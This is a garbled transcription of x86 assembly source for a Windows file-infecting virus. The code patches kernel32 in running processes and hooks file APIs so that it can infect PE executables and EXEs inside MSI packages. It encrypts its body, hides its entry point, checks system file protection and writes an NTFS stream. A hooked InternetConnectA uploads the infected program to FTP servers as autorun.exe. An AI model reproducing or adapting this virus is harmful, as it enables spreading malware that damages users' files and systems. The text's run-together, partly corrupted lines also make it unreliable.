copy the K32 to our buffercall [ebp a_ReadProcessMemory - gdelta] dec eaxjne end_K32_deallocmovzx eax, word ptr [edi]; get the first bytes of fileadd eax, - "ZM" jne end_K32_dealloc; must be MZ headermov esi, [edi.MZ_lfanew] Get to pe HeadeRadd ESI, Edimov Eax, [ESI] Add Eax, - "EP" JNE END_K32_DEALLOC; MUST BE PE Headercmp Byte Ptr [EDI.MZ_RES2], 'H' 'I' 'V'; IS K32 Already ? infected je end_K32_dealloc; yeah, dont infect it againmov byte ptr [edi.MZ_res2], 'H' 'I' 'V'; mark as already infectedpush PAGE_EXECUTE_READWRITEpush MEM_RESERVE or MEM_COMMITpush virus_sizepush 0; allocate enough spacepush ebx; for virus code incall [ebp a_VirtualAllocEx - gdelta]; victim processtest eax, eaxje end_K32_dealloc; quit if errormov [ebp virus_base - gdelta], eax; save the address; now we will try to hook some APIz of K32push crcResCountpop ecx; count of APIz to Hookmake_res: Pushad; Store All Registersmov Eax, Edilea ESI, [EBP CRCRES - GDELTA (ECX * 4) -4]; Get Apicall Get_API; Get Address of Apitest Eax, Eaxje End_res; quit if errorpush Eaxmov Edx, [EBP POSRES - GDELTA (ECX * 4) -4]; Get Ptr to Variable Whichsub Eax, [EBP K32_COPY - GDELTA]; Holds The Address To Oldd Eax, [EBP K32_BASE - gDelta]; APIMOV [EDX], Eax; Store Address TherePop Eax; Get Address to Eaxpushad; Store All Registersxchg Eax, ESI; ESI ESIMOV EDI, [EBP OLDRES - GDELTA (ECX * 4) -4]; SAVE old 5 bytesmovsd; 4 bytesmovsb; 1 bytepopad; restore all registers; overwrite first 5 bytes of API code by instruction; address = dest_address - (jmp_address 5) push eaxsub eax, [ebp k32_copy - gdelta];

Calculate API_HOKER ADDRESSADD EAX, [EBP K32_BASE - GDELTA]; ... MOV ESI, Eax; ... Mov Eax, 0; Base Address of Virusvirus_Base = DWORD PTR $ -4; in MemoryAdd Eax, [EBP Newres - GDELTA (ecx * 4) -4]; add address of api_hookersub eax, 5; substract the size of JMPsub eax, esi; substract with dest_addresspop esimov byte ptr [esi], 0E9h; write JMP opcodemov [esi 1], eax; write JMP addressend_res: popad; restore all registersloop make_res; ECX-timezlea edx, [ebp tmp - gdelta] push edxpush virus_sizelea edx, [ebp Start - gdelta] push edxpush dword ptr [ebp virus_base - gdelta] push ebxcall [ebp a_WriteProcessMemory - gdelta]; write virus to allocated memorydec eaxjne end_K32_dealloc; quit if error; now we will change protection of K32 memory so we will be able to; overwrite it with infected version of K32lea edx, [ebp tmp - gdelta] push EDXPUSH PAGE_EXECUTE_READWRITEPUSH DWORD PTR [EBP K32_SIZE - GDELTA] PUSH DWORD PTR [EBP K32_BASE - GDELTA] Push EbxCall [EBP A_VIRTUALPROTECTEX - GDELTA]; NOW W e will be able todec eax; rewrite the K32 withjne end_K32_dealloc; infected onelea edx, [ebp tmp - gdelta] push edxpush dword ptr [ebp k32_size - gdelta] push dword ptr [ebp k32_copy - gdelta] push dword ptr [ebp k32_base - gdelta] push ebxcall [ebp a_WriteProcessMemory - gdelta]; rewrite K32end_K32_dealloc: push MEM_DECOMMITpush dword ptr [ebp k32_size - gdelta] push 12345678hk32_copy = dword ptr $ -4call [ebp a_VirtualFree - gdelta]; now we have to decommit Our Memorypush Mem_releasePush 0push DWORD PTR [EBP K32_COPY - GDELTA] CALL [EBP A_VIRTUALFREE - GDELTA]; and DE-RESERVE, NOW OUR;

buffer doesnt existend_K32_patching: push ebxcall [ebp a_CloseHandle - gdelta]; close the handle of processjmp pid_loop; and look for another onesearchThread EndP; new FindFirstFileA hookernewFindFirstFileA Procpushad; store all registerspush eaxcall @oldFFA; get pointer to saved bytes ... oldFindFirstFileA: DB 5 DUP (?); Saved 5 Bytes @ Oldffa: Call @newffAdb 5 DUP (?); Get Pointer to Buffer ... @ newffa: Pop Edimov [ESP 4], Edimov ESI, 0; Address of FindfirstFilea in MemoryPosFindFirstFilea = dword ptr $ -4common_end: push esi; copy tomovsd; buffermovsbpop edipop esipush edimovsd; restore previous 5 bytes of API codemovsbsub edi, 5mov esi, [esp.cPushad 16] push esipush dword ptr [esp.cPushad 16] call edi; call APIinc eaxje end_ffadec eaxcall CheckInfect; no error, try to infect found fileend_ffa: mov [esp.Pushad_eax 8], eaxpop edipop esimovsd; write back movsbpopad; restore all registersret 8; and quit with 2 params on the stacknewfindfirstfilea endp; new fi ndNextFileA hookernewFindNextFileA Procpushad; store all registerspush eaxcall @oldFNA; get pointer to saved bytes ... oldFindNextFileA: (?) db 5 dup @ oldFNA: call @newFNA; get pointer to buffer ... db 5 dup @ newFNA: (?) pop edimov [esp 4], edimov esi, 0; address of FindNextFileA in memoryposFindNextFileA = dword ptr $ -4jmp common_end; optimized:) newFindNextFileA EndP; this procedure is used by API hookerz - it can create WFD structure and call; CheckInfect procedure (this proc needs WFD struct) xCheckInfect Proccall $ 5xdelta: pop ebp; get delta offsetlea esi, [ebp WFD - xdelta] push esi; WFD structpush dword ptr [esp.cPushad 16]; ptr to filenamecall [ebp

a_FindFirstFileA - xdelta]; find fileinc eaxje end_xci; quit if errordec eaxcall CheckInfect; infect filepush eaxcall [ebp a_FindClose - xdelta]; close search handleend_xci: ret; and quitxCheckInfect EndP; new CopyFileA hookernewCopyFileA Procpush eax; reserve space in stack for ret addresspushad ; store all regist; check and infread filecall @oldcfa; Get Pointer to Saved Bytes ... OldcopyFilea: DB 5 dup (0); Saved 5 Bytes @ Oldcfa: Pop ESI; ... TO ESIMOV EDI, 0; Address Of CopyFileA in memoryposCopyFileA = dword ptr $ -4mov [esp.cPushad], edi; store the address to stackmovsd; restore 5 bytesmovsbpopad; restore all registersret; jump to previous APInewCopyFileA EndP; new MoveFileA hookernewMoveFileA Procpush eax; reserve space in stack for ret addresspushad Store all registerscall xcheckinfect; check and infect filecall @oldmfa; get pointer to saved bytes ... OldMoveFilea: DB 5 dup (0); saved 5 bytes @ oldmfa: pop esi; ... to Esimov EDI, 0; Address of Movefilea in MemoryPosmoveFilea = dword ptr $ -4mov [esp.cPushad], edi; store the address to stackmovsd; restore 5 bytesmovsbpopad; restore all registersret; jump to previous APInewMoveFileA EndP; new CreateFileA handlernewCreateFileA Procpush eax; reserve space in stack for ret addresspushad; store all registersmov ecx, 12345678h; semaphorecfa_patch = dword ptr $ -4jecxz no_cfa; dont infect file in infection stagecall xCheckInfect; check and infect fileno_cfa: call @oldCA; get pointer to saved bytes ... oldCreateFileA: db 5 dup (0); saved 5 bytes @eldca: pop esi; ... to esimov EDI, 0; Address of Createfilea in MemoryposcreateFilea = DWORD PTR $ -4MOV [ESP.CPUSHAD], EDI; Store The Address to StackMovsd; Restore 5 BytesmovsBPOPAD;

restore all registersret; jump to previous APInewCreateFileA EndP; new ExitProcess handlernewExitProcess Procpushad; store all registerscall edelta; get delta offsetedelta: pop ebpep_loop: mov ecx, [ebp ep_patch - edelta]; wait for SearchThreadjecxz ep_loop; termination ... popad; restore all registersj_api oldExitProcess; and call the original APInewExitProcess EndP; new InternetConnectA hookernewInternetConnectA Procfld dword ptr [esp]; store return address on copro-stackcall ICAjmp; call previous APIpush eax; make space on the stackfstp dword ptr [esp]; move return address from copro-stack to stacktest eax, eax; error jne nICA; no, we are connectedret; yeah, quitnICA:? pushad; store all registerscall $ 5igd: pop ebp; get delta offset to EBPxchg eax, ebxpush MAX_PATHlea esi, [ebp reg_buffer - igd] push esipush 0; get path filename of current processcall [ebp a_GetModuleFileNameA - igd] lea esi, [ebp szInet 5 - igd] push esi; get base of WININET.DLLcall [ebp a_GetModuleHandleA - igd] @Push sz 'FtpPutFileA'push eax; get address of FtpPutFileA APIcall [ebp a_GetProcAddress - igd] xchg eax, ecxjecxz endICA; quit if error; now we will try to transfer infected file to FTP serverpush 0; contextpush 2; binary transfer @ pushsz' autorun.exe '; dest filenamepush esi; source filename (our process) push ebx; handle to inet connectioncall ecx; call FtpPutFileAendICA: popad; restore all registersret; and quitICAjmp: pop eax; get code addressmov [esp], eax; save it On The StackJ_API OldInternetConnecta; and Call The Previous ApinewinternetConnecta Endpunload_lib: Push Edicall [EBP A_FREELIBRARY - GD]; This Procedure Can Check The File and Infect IT;

input: ESI - WFD recordCheckInfect Procpushad; store all registers @ SEH_SetupFrame ; setup SEH framecall gdgd: pop ebp; get delta offset to EBPmov [ebp cut_or_not - gd], ebp; set flag - truncate file backtest [esi. WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORYjne end_seh; must not be directoryxor edx, edxcmp [esi.WFD_nFileSizeHigh], edxjne end_seh; discard huge filesmov edx, [esi.WFD_nFileSizeLow] cmp edx, 4000h; discard small filesjb end_sehmov [ebp file_size - gd], edx ; save file sizelea ebx, [esi.WFD_szFileName] pushad; store all registersxor esi, esi; nulify register @ pushsz 'SFC'call [ebp a_LoadLibraryA - gd]; load SFC.dll librarytest eax, eaxje q_sfc; quit if errorxchg eax , edi @ pushsz 'SfcIsFileProtected'push edicall [ebp a_GetProcAddress - gd] test eax, eax; get the pointer to APIje un_sfcpush ebx; filenamepush 0; reservedcall eax; call SfcIsFileProtected APItest eax, eaxje un_sfcinc esi; set variable to 1 if the File is protected_sfc: Call unload_lib; unload sfc.dllq_sfc: mo v [esp.pushad_eax], esi; save it to eax on the stackpopad; restore all registerztest eax, eaxjne end_seh; quit if file is protected; cmp [ebx], 'dcba'; for debug version; JNE end_seh; infect only "abcd" filezpush FILE_ATTRIBUTE_NORMALpush ebxcall [ebp a_SetFileAttributesA - gd] dec eax; blank file attributesjne end_sehcall resCreate_FileA; open fileinc eaxje end_attr; quit if errordec eaxmov [ebp hFile - gd], eax; save handlemov ebx, [ esi.WFD_nFileSizeLow] add ebx, virus_size; new file size to EBXmov [ebp mapped_file_size - gd], ebxcdqpush edxpush ebxpush edxpush PAGE_READWRITEpush edxpush eaxcall [ebp a_CreateFileMappingA - gd] xchg eax, ecx;

create file mapping objectjecxz end_cfile; quit if errormov [ebp hMapFile - gd], ecx; save handlepush ebxpush 0push 0push FILE_MAP_WRITEpush ecxcall [ebp a_MapViewOfFile - gd] xchg eax, ecx; map view of file to our address spacejecxz end_mfile; quit if errormov [ebp lpFile - gd], ecx; save handlejmp n_open; and continueend_file: popadpush 12345678hlpFile = dword ptr $ -4; unmap view of filecall [ebp a_UnmapViewOfFile - gd] end_mfile: push 12345678hhMapFile = dword ptr $ -4; close file mapping objectcall [ebp a_CloseHandle - gd] end_cfile: mov ecx, 12345678h; infection succeed cut_or_not = dword ptr $ -4jecxz no_cut; yeah, dont truncate filepush 0; no, truncate file backpush 0push dword ptr [esi.WFD_nFileSizeLow] push? DWORD PTR [EBP HFILE - GD] CALL [EBP A_SETFILEPOINTER - GD] PUSH DWORD PTR [EBP HFILE - GD] CALL [EBP A_SETENDOFFILE - GD] NO_CUT: Lea Eax, [ESI.WFD_FTLASTWRITETIME] Push Eaxle Eax, [ ESI.WFD_FTLASTACCESSTIME] Push EaxLea Eax, [ESI.WFD_FTCREATIONTIME] PUSH EAX; SET Back File Time push dword ptr [ebp hFile - gd] call [ebp a_SetFileTime - gd] mov ecx, [ebp cut_or_not - gd] jecxz ntfs_stuff; try to compress file and create new streamclose_file: push 12345678hhFile = dword ptr $ -4; close filecall [ebp a_CloseHandle - gd] end_attr: lea eax, [esi.WFD_szFileName] push [esi.WFD_dwFileAttributes] push eax; set back file attributescall [ebp a_SetFileAttributesA - gd] end_seh: @SEH_RemoveFrame; remove sEH framepopad; restore all registersret ; and quit from procedure; this procedure will try to NTFS-compress infected file and add new streamntfs_stuff Procpush 0lea eax, [ebp tmp - gd] push eaxpush 0push 0push 4call in_bufdd 1;

default compressionin_buf: push 09C040h; compress codepush dword ptr [ebp hFile - gd] call [ebp a_DeviceIoControl - gd]; compress infected file lea esi, [esi.WFD_szFileName]; get ptr to filenamepush esi @ endszdec esimov edi, esimov! eax, 'VIH:' stosd; add there ": HIV" / 0xor al, alstosbpop ebxmov byte ptr [ebp cfa_flagz - gd], CREATE_ALWAYScall resCreate_FileA; create new streammov byte ptr [ebp cfa_flagz - gd], OPEN_EXISTINGinc eaxje end_seh; quit if errordec eaxxchg eax, ebxpush 0lea eax, [ebp tmp - gd] push eaxpush szMsg-1-p_msglea eax, [ebp p_msg - gd] push eaxpush ebxcall [ebp a_WriteFile - gd]; copy message to new streampush ebxcall [ebp a_CloseHandle - gd]; close streamjmp close_file; and close whole filentfs_stuff EndP; this procedure can search for EXE files inside MSIsmz_search Procpushad; store all registers @ SEH_SetupFrame ; setup sEH framer_byte: movzx eax, word ptr [ecx ]; GET BYTEADD EAX, - "ZM"; Is IT MZ File? JNE N_BYTE; NO, Explore Next Bytesmov EBX, [ECX.MZ_LFANEW] Get to pe headeradd EBX, ECX; ... MOV EAX, [EBX]; Get DWordAdd Eax, - "EP"; Is IT PE File? JNE N_BYTE; NO, Explore Next Bytesend_MZ: MOV [esp.pushad_ebx 8] , ebx; store PE locationmov [esp.Pushad_ecx 8], ecx; store MZ locationjmp end_seh; and quite_mz: xor ecx, ecx; no file found ... jmp end_mz; quitn_byte: inc ecx; move to next bytejmp r_byte; explore itmz_search EndPcheck_msi: cmp [ecx], 0E011CFD0h; is it MSI signature jne end_file; no, quitcmp [ecx 4], 0E11AB1A1h; is it MSI signature jne end_file; no, quitparse_msi:?? call mz_search; search for EXE file inside MSItest ECX, ECXJE END_FILE; NO FILES FOUND, QUIT ... AND DWORD PTR [EBP PE_OR_MSI - GD], 0PUSH ECX;

set flag (EXE inside MSI) and store ECXcall m_open; analyse and infect filepop ecx; restore ECXc_msi: inc ecx; try next EXE filejmp parse_msi; inside MSI ... n_open: pushad; store all registersmov [ebp pe_or_msi - gd], ECX; SET FLAG (Normal EXE) M_Open: Movzx EX, Word PTR [ECX]; GET Wordadd Eax, - "ZM"; IS IT MZ? JNE CHECK_MSI; NO, Quitcmp Byte PTR [ECX.MZ_RES2], 'H' 'I' 'v'; is IT Already Infected? Je End_File; Yeah, Quitmov EBX, ECXADD EBX, [ECX.MZ_LFANEW]; AT THIS POINT: EBX - START OF Pe Header; ECX - Start of MM File (MZ header); ESI - WIN32_FIND_DATA recordmov eax, [ebx]; get DWORDadd eax, - "EP";? is it PE file jne end_file; no, quitcmp word ptr [ebx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386jne end_file; must be 386 mov eax, dword ptr [ebx.NT_FileHeader.FH_Characteristics] not altest ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLLjne end_file; must not be DLL filemovzx edx, word ptr [ebx.NT_FileHeader.FH_NumberOfSections] cmp edx, 4jb end_file; must be 4 dec edximul eax , EDX, Image_SizeOf_ SECTION_HEADERmovzx edx, word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader] lea edi, [eax edx IMAGE_SIZEOF_FILE_HEADER 4] add edi, ebx; at this point :; EBX - start of PE header; ECX - start of MZ header; EDX - Start of host (.) Code; ESI - WFD Record; EDI - START OF Last Sectionmov Byte Ptr [ECX.MZ_RES2], 'H' 'I' 'V'; Mark As Already Infectedmov Eax, 12345678HPE_OR_MSI = DWORD PTR $ -4test eax, eax; do we infect MSI je infect_msi; yeah, infect MSI; no, infect normal EXEmov [ebp file_base - gd], ecx;? save base of mapped file; EPO search enginepushad; store all registerspushad; .. EDX, [EDX EBX Image_SizeOf_File_Header

4] mov esi, [edx.SH_PointerToRawData]; get to start of .CODE sectionadd esi, ecx; make RAW pointermov ecx, [edx.SH_SizeOfRawData]; get the size of .CODE sectionl_epo: add [ebp enc_key - gd], eax; generate encryption keylodsd; get bytecmp eax, 0C95B5E5Fh; is it procedure epilog code je ll_epo;? yeah, check the last bytedec esi; no, decrement pointerzdec esi; ... dec esi; ... loop l_epo; search for next instructionzjmp end_epo; no epilog found, quitll_epo: lodsb; get the last bytecmp al, 0C3h; is it RET instruction je got_epo; yeah, we have found place for EPOsub esi, 4; no, decrement pointerzdec ecx; and counterjmp l_epo; and? try againgot_epo: mov eax, [edi.SH_VirtualAddress] add eax, [edi.SH_SizeOfRawData]; calculate RVA of virus beginingmov ecx, esisub ecx, [esp.Pushad_ecx] sub ecx, [edx.SH_PointerToRawData] add ecx, [edx.SH_VirtualAddress ]; Calculate RVA Of JMP Opcodeor DWORD PTR [EDX.SH_CHARACTERISTICS], Image_SCN_MEM_WRITE; Set Write Flag To. Code Sectionmov Edi, ESIMOV ESI, ECXSUB ESI, 5SUB EDI, 5ADD ESI, [ ebx.NT_OptionalHeader.OH_ImageBase] sub eax, ecx; calculate destination addresspush eaxmov [ebp epo_pos - gd], esi; store EPO addressmov al, 0E9h; store JMP opcodestosbpop eaxstosd; store JMP addressend_epo: popad; restore all registerslea eax, [ebp image_base - gd]; get pointer to variablepush dword ptr [eax]; save variable to the stackmov ecx, [ebx.NT_OptionalHeader.OH_ImageBase] mov [eax], ecx; save new image base of hostlea esi, [ebp Start - gd]; get start of virus to ESImov ecx, end_virus-Start; size of virus codemov eax, [edi.SH_PointerToRawData]; get ptr to last sectionadd eax, [edi.SH_SizeOfRawData]; add size of sectionadd eax, [esp.Pushad_ecx 4]; Add address of mapped fileXchg Eax, EDI; Save It to Edipush EDI;

store it to the stackmov ebx, 12345678henc_key = dword ptr $ -4mov [ebp decr_key - gd], ebx; save encryption keyand dword ptr [ebp enc_key - gd], 0; nulify encryption key variableinc dword ptr [ebp generation_count - gd]; increment number of generationcall mem_alloc; allocate one buffermov [ebp buffer - gd], eax; save pointercall mem_alloc; allocate another buffermov [ebp file_buffer - gd], eax; save pointermov esi, 12345678h; get size of filefile_size = dword ptr $ -4mov ecx, 8192sub esi, ecxadd esi, 12345678h; move to the EOF-8192file_base = dword ptr $ -4mov edi, 12345678h; EDI = allocated bufferfile_buffer = dword ptr $ -4rep movsb; move there last 8192 byteslea esi, [ebp encrypted - gd]; start of encrypted part of virusmov edi, 12345678hbuffer = dword ptr $ -4push edimov ecx, (end_virus-encrypted 3) / 4push ecx; copy encrypted part of virusrep movsd; to the bufferpop ecx pop esimov EDI, ESIENCRPT: LODSDXOR EAX, EBX; Encrypt Virus in The Bufferstosdloop Encrptpop Edilea ESI, [EBP START - GD] P ush encrypted-Startpop ecx; copy decryptor to the end ofrep movsb; last sectionmov esi, [ebp buffer - gd] mov ecx, 8192- (encrypted-Start) rep movsb; copy the encrypted part of virusmov ecx, 8192mov esi, [ ebp file_buffer - gd] rep movsb; and last 8192 of host codedec dword ptr [ebp generation_count - gd]; decrement number of gen.pop dword ptr [ebp image_base - gd]; restore image basepopad; restore all registersmov esi, [ebp buffer - gd] call mem_dealloc; deallocate buffermov esi, [ebp file_buffer - gd] call mem_dealloc; ... or dword ptr [edi.SH_Characteristics], IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE;

set flagz of the last sectionadd dword ptr [edi.SH_VirtualSize], virus_sizemov eax, [edi.SH_VirtualSize] mov ecx, [ebx.NT_OptionalHeader.OH_SectionAlignment] xor edx, edxdiv ecxtest edx, edxje end_m1inc eaxmul ecxmov [edi.SH_VirtualSize], eax ; new virtual sizeend_m1: push dword ptr [edi.SH_SizeOfRawData] add dword ptr [edi.SH_SizeOfRawData], virus_sizemov eax, [edi.SH_SizeOfRawData] mov ecx, [ebx.NT_OptionalHeader.OH_FileAlignment] xor edx, edxdiv ecxtest edx, edxje end_m2inc eaxend_m2 : mul ecxpop edxsub eax, edxadd [ebx.NT_OptionalHeader.OH_SizeOfImage], eaxtest dword ptr [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATAje rs_ok; new size of raw dataadd [ebx.NT_OptionalHeader.OH_SizeOfInitializedData], eax; and size of initialized datars_ok: cmp dword ptr [ebx.NT_OptionalHeader.OH_CheckSum], 0je no_csum; no need to calculate new checksum @ pushsz 'Imagehlp' @ imghlp: call [ebp a_LoadLibraryA - gd] test eax, eax; load IMAGEHLP.DLLje no_csum; quit if errorxchg eax, EDI @ pushsz 'ChecksumMappedfile'push Edical l [ebp a_GetProcAddress - gd] test eax, eax; get address of CheckSumMappedFile APIje un_csum; quit if errorlea ecx, [ebx.NT_OptionalHeader.OH_CheckSum] push ecx; where to store new checksumcall $ 9dd; old checksumpush 12345678h; size? of infected filemapped_file_size = dword ptr $ -4push dword ptr [ebp lpFile - gd] call eax; calculate new checksumun_csum: call unload_lib; unload libraryno_csum: and dword ptr [ebp cut_or_not - gd], 0jmp end_file; infection succeed, quit. ........................................................................................................................................................................................................]. of last sectionmov [EBP

r2rp - gd], ebx;! set 0 - victim programpush dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode] mov eax, ecxcall rva2raw; get base of codepop esimov edi, esimov ecx, [ebx.NT_OptionalHeader.OH_SizeOfCode]; size of codeinclude cse .inc;, xet ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ? je cc_msipop edi; no, quitretcc_msi: pop edimov ecx, [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint] mov eax, ecxsub eax, [ebx edx SH_VirtualAddress IMAGE_SIZEOF_FILE_HEADER 4]; get entrypoint RVA to EAXpush eaxmov eax, ecxmov [ebp msi_entrypoint - gd], eax; save old entrypointmov eax, [ebx.NT_OptionalHeader.OH_ImageBase] add [ebp msi_entrypoint - gd], eax; in RAW formatpop eaxpush esisub esi, edisub esi, eax; set new entrypointadd [ebx.NT_OptionalHeader. OH_ADDRESSOFENTRYPOINT], ESIPOP Edilea ESI, [EBP MSI_START - GD] MOV ECX, MSI_END-MSI_STARTREP MOVSB; COPY THERE MSI BUG-CODERET; END Quitno_cave_found: popad; no cave in side EXE file found, ret; restore all registers and quitCheckInfect EndP; this procedure can allocate memory (8192 bytes) mem_alloc: push PAGE_READWRITEpush MEM_RESERVE or MEM_COMMITpush 8192push 0call [ebp a_VirtualAlloc - gd] ret; this procedure can deallocate already memory (8192 bytes ) mem_dealloc: push MEM_DECOMMITpush 8192push esicall [ebp a_VirtualFree - gd] push MEM_RELEASEpush 0push esicall [ebp a_VirtualFree - gd] ret; this procedure can retrieve API addressesget_apis Procpushad @ SEH_SetupFrame lea esi, [ebp crc32s - gdelta] Get Ptr To CRC32 Values ​​of Apislea EDI, [EBP A_APIS - GDELTA];

where to store API addressespush crc32c; how many APIs do we needpop ecx; in ECX ... g_apis: push eax; save K32 basecall get_apistosd; save addresstest eax, eaxpop eaxje q_gpa; quit if not foundadd esi, 4; move to next CRC32 valueloop g_apis; search for API addresses in a loopjmp end_seh; and quitq_gpa: @SEH_RemoveFramepopadpop eaxjmp end_host; quit if errorget_apis EndPa_go: inc esi; jump over alignmentsinc esipushad; store all registersxor edx, edx; zero EDXxchg eax, esipush 2pop ecxdiv ecxtest edx, edxje end_align; no alignments neededinc eaxend_align: mul ecx; align API namemov [esp.Pushad_esi], eaxpopad; restore all registersret; and quit from procedure; this procedure can patch API calls (both of MS and Borland style) patch_IT Procpushad; store all registers @ SEH_SetupFrame ; setup sEH framecall itDltaitDelta: db 0b8hitDlta: pop ebpmov [ebp gmh - itDelta], eax; save itmov ebx, [eax.MZ_lfanew]; get to PE headeradd ebx, eax; make pointer rawpush dword Ptr [ebx.nt_optionalHeader.oh_di rectoryEntries.DE_Import.DD_VirtualAddress] call rva2rawpop edxsub edx, IMAGE_SIZEOF_IMPORT_DESCRIPTORpush edin_dll: pop ediadd edx, IMAGE_SIZEOF_IMPORT_DESCRIPTORmov ecx, 12345678hinet_k32 = dword ptr $ -4jecxz szInet @ getsz 'KERNEL32.dll', edijmp o_inetszInet: @getsz 'WININET.dll', edio_inet: mov esi, [edx] test esi, esije endPITsdll: push dword ptr [edx.ID_Name] call rva2rawpop esipush edicmpsd; is it our library jne n_dllcmpsdjne n_dllcmpsdjne n_dllpop edixor ecx, ecx; zero counterpush dword ptr [edx.ID_OriginalFirstThunk]; get? First RecordCall RVA2RAWPOP ESIPUSH DWORD PTR [ESI]; GET First API NameCall RVA2RAWPOP ESIPIT_ALIGN: CALL A_GOPUSH ESI; Store Pointer @ Endsz;

get to the end of API namemov edi, esisub edi, [esp]; move size of API name to EDIpop esi; restore pointerpush eax; store EAXcall CRC32; calculate CRC32 of API namecmp eax, [esp.cPushad 10h]; check, If IT is Requested Apije A_ok; Yeah, IT ISINC ECXMOV EAX, [ESI]; Check, IF The Requit Apitest Eax, Eax; ... POP EAX; Restore Eaxjne Pit_Align; Yeah, Check Itjmp Endpit; No, Quita_ok: POP eax; restore EAXpush dword ptr [edx.ID_FirstThunk]; get address to IATcall rva2rawpop edxmov eax, [edx ecx * 4]; get addressmov [esp.Pushad_eax 8], eax; and save it to stackpushad; store all registersmov eax , 0; get base address of programgmh = dword ptr $ -4mov ebx, [eax.MZ_lfanew] add ebx, eax; get PE header; get base of codepush dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode] call rva2raw; normalizepop esi; to ESImov ecx, [ebx.NT_OptionalHeader.OH_SizeOfCode] pushad; and its sizecall p_vardd p_var: push PAGE_EXECUTE_READWRITEpush ecxpush esi; allow to modify protected codecall [ebp a_VirtualProtect - itDelta] popadsJM? P: MOV DL, [ESI]; Get Byte from codeinc esicmp DL, 0FFH; IS IT JMP / CALL? JNE LJMP; Check, IT IS CMP BYTE PTR [ESI], 25H; JMP DWORD PTR [xxxxxxxxh] JE git1 CMP byte ptr [esi], 15h; or CALL DWORD PTR [XXXXXXXXh] jne lJMPmov dl, 0E8hjmp gIT2gIT1: mov dl, 0E9hgIT2: mov [ebp j_or_c - itDelta], dl; change opcodemov edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import .DD_VirtualAddress] add edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size] push ecxmov ecx, [ebx.NT_OptionalHeader.OH_ImageBase] add edi, ecxpush ebpmov ebp, [esi 1] sub ebp, ecxpush ebpcall rva2rawpop ebpsub ebp, eaxadd EBP, ECXSUB EDI, EBPPOP EBPPOP ECXJS LJMP; Check, IT IT IS CORRECT AddressPush ECXPUSH EDX; Store Edxmov Edx, [ESP.PUSHAD_ECX 8];

get counterimul edx, 4; multiply it by 4add edx, [esp.Pushad_edx 8]; add address to IAT to ptrsub edx, eaxmov ecx, [esi 1] sub ecx, [ebx.NT_OptionalHeader.OH_ImageBase] push ecxcall rva2rawpop ecxsub ecx, eaxcmp edx, ecx; is it current addresspop edxpop ecx; restore EDXjne sJMP; no, get next addressmov eax, [esi 1] mov [esp.cPushad.Pushad_eax 8], eax; store register to stackmov [esp. Pushad_esi], ESI; for L8R USPOPAD; Restore All Registersmov Byte Ptr [ESI-1], 0E9H; Build Jmp or Callj_or_c = Byte Ptr $ -1MOV EBX, [ESI 1] MOV EAX, [ESP.CPUSHAD 10H]; Get AddressAdd Eax, [EBP GMH - ITDELTA] SUB EAX, ESI; - CURRENT AddressSub Eax, 4; 1-5MOV [ESI], Eax; Store Built JMP InstructionMOV BYTE PTR [ESI 4], 90HXCHG ENDIT ; and quitlJMP: dec ecxjecxz endPIT-1jmp sJMP; search in a looppopad; restore all registersendPIT: xor eax, eaxmov [esp.Pushad_eax 8], eaxendIT: @SEH_RemoveFrame; remove sEH framepopad; restore all registersret 8; and quitpatch_IT EndP; This Procedure Can Converting Rvas to Raw Pointersrva2RAW : Pushad; store all registersmov ecx, 12345678h; 0 if actual host programr2rp = dword ptr $ -4jecxz nr2rmov edx, [esp.cPushad 4] movzx ecx, word ptr [ebx.NT_FileHeader.FH_NumberOfSections] movzx esi, word ptr [ebx .NT_FileHeader.FH_SizeOfOptionalHeader] lea esi, [esi ebx IMAGE_SIZEOF_FILE_HEADER 4] n_r2r: mov edi, [esi.SH_VirtualAddress]; search inside sectionadd edi, [esi.SH_VirtualSize]; headerz for matchescmp edx, edijb c_r2radd esi, IMAGE_SIZEOF_SECTION_HEADERloop n_r2rpopad Restore All Registersret; and quitnr2r: add [ESP.cpushad 4], eaxpopad; restore all registersret; and quitc_r2r: add eax, [esi.sh_pointertorawdata];

correct RVA to RAW pointeradd eax, edxsub eax, [esi.SH_VirtualAddress] mov [esp.cPushad 4], eax; save itpopadret; this procedure can open file - used in resident mode; input: EBX - filename to openresCreate_FileA Procand dword ptr [ebp cfa_patch - gd], 0xor eax, eaxpush eaxpush FILE_ATTRIBUTE_NORMALdb 6ah; PUSH SHORTcfa_flagz db OPEN_EXISTINGpush eaxpush eaxpush GENERIC_READ or GENERIC_WRITEpush ebxcall [ebp a_CreateFileA - gd] mov [ebp cfa_patch - gd], ebpretresCreate_FileA EndP; this procedure can open file - used in non-resident mode; input: EBX - filename to openCreate_FileA Procxor eax, eaxpush eaxpush FILE_ATTRIBUTE_NORMALpush OPEN_ALWAYSpush eaxpush eaxpush GENERIC_READ or GENERIC_WRITEpush ebxcall [ebp a_CreateFileA - gdelta] retCreate_FileA EndP; this procedure can create file mapping object - used in non- Resident Mode; Input: EAX - Opened Handle of Filecreate_Filemappinga Proccdqpush EDXPUSH EDXPUSH EDXPUSH Page_Readwritepush EDXPUSH EAXCALL [EBP A_CREATEFILEMAPPINGA - GDELTA] RETCR eate_FileMappingA EndP; this procedure can map view of file - used in non-resident mode; input: ECX - opened handle of file mapping objectMap_ViewOfFile Procpush 0push 0push 0push FILE_MAP_WRITEpush ecxcall [ebp a_MapViewOfFile - gdelta] retMap_ViewOfFile EndP; this procedure can convert number to ASCII decimal format; input: EAX - number; output: [EDI] - stored ASCII numberNum2Ascii Procpush esipush edilea edi, [ebp dec_buff - gdelta] push 10pop ecxg_str: xor edx, edxdiv ecxadd edx, '0'xchg eax, edxstosbxchg eax EsiXCHG ESI, EsiDec Esicpy_num: stdlodsbcldstosbcmp Al, 11HJNE CPY_NUMDEC EDIXOR AL, AlstosBPOP ESIRETNUM2ASCII ENDP;

